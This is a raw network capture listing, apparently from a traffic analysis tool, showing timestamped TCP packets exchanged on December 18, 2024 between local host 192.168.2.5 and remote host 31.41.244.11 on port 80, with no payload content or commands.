Dec 18, 2024 21:30:25.397013903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.398690939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.398741961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.398874998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.398912907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.400703907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.400752068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.400816917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.400878906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.491584063 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.491672993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.491760015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.492192984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.492424011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.492475033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.493788958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.493906021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.493961096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.495233059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.495419025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.495475054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.496815920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.496978045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.497036934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.498291969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.498346090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.498459101 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.498497963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.499914885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.499972105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.500036001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.500075102 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.501583099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.501880884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.501887083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.502087116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.503300905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.503345966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.503505945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.503550053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.504504919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.504563093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.504628897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.504822016 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.505898952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.505948067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.506093025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.506352901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.507121086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.507374048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.507419109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.508606911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.508657932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.508796930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.508836031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.510121107 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.510168076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.510261059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.510421991 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.511456013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.511507034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.511599064 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.511646986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.512887001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.512972116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.513048887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.513087988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.514172077 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.514213085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.514400959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.514450073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.515522003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.515575886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.515733004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.515780926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.516849041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.516901970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.517016888 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.517056942 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.518219948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.518261909 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.518397093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.518490076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.519531012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.519593954 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.519675016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.519809961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.520834923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.520906925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.521015882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.521083117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.522176981 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.522274017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.522331953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.522373915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.524045944 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.524097919 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.524403095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.524462938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.524916887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.524964094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.525188923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.526098967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.526151896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.526212931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.526380062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.527363062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.527410030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.527555943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.527595043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.528711081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.528759003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.528877974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.528914928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.530005932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.530045986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.530168056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.530206919 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.531287909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.531455040 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.531475067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.531533003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.532536030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.532579899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.532732010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.532769918 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.533829927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.533869028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.533987045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.534019947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.535137892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.535204887 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.535336971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.535420895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.536443949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.536480904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.536664963 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.536706924 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.537739038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.537775993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.537889957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.537925959 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.539031029 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.539073944 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.539174080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.539211988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.540307045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.540345907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.540462971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.540501118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.541616917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.541755915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.541804075 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.542918921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.542977095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.543162107 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.543204069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.544190884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.544234991 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.544367075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.544404030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.545505047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.545577049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.545644999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.545681953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.546770096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.546916008 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.546937943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.546974897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.548062086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.548105001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.548226118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.548264980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.549372911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.549415112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.549532890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.549570084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.550863028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.550905943 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.550970078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.551008940 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.552050114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.552093029 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.552160978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.552201986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.553273916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.553316116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.553514004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.553555012 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.554598093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.554642916 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.554749012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.554785967 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.555877924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.555924892 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.556029081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.556154013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.557113886 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.557180882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.557307005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.557341099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.558486938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.558646917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.558691978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.559762001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.559807062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.559948921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.559986115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.561064005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.561105013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.561182976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.561223030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.562300920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.562361002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.683975935 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.684113979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.684245110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.684330940 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.684827089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.684890032 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.684963942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.685039043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.685822964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.685914040 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.685981035 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.686022043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.686966896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.687098980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.687139988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.687180996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.687975883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.688020945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.688139915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.688182116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.688910007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.688949108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.689054012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.689095020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.690125942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.690196037 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.690258980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.690304041 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.691109896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.691159010 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.691320896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.691363096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.692251921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.692302942 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.692399979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.692440987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.693101883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.693147898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.693253040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.693291903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.694042921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.694091082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.694256067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.694305897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.694988012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.695029020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.695107937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.695147038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.696063995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.696132898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.696299076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.696341038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.697240114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.697287083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.697345972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.697395086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.698106050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.698159933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.698302984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.698347092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.699294090 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.699340105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.699489117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.699532032 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.700289011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.700356007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.700495958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.700539112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.701467991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.701513052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.701642990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.701685905 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.702538013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.702588081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.702742100 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.702785969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.703771114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.703831911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.703929901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.703972101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.704855919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.704905033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.705085039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.705177069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.706099987 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.706147909 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.706209898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.706299067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.707123995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.707169056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.707285881 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.707324982 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.708146095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.708198071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.708431005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.708477974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.709163904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.709212065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.709351063 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.709394932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.710081100 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.710127115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.710179090 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.710391045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.710927010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.710971117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.711103916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.711158991 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.711935997 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.711982012 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.712130070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.712172985 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.713109970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.713155985 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.713352919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.713464022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.714495897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.714643955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.714658976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.714703083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.716048956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.716094017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.716224909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.716274977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.716830015 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.716876030 CET	49808	80	192.168.2.5	31.41.244.11
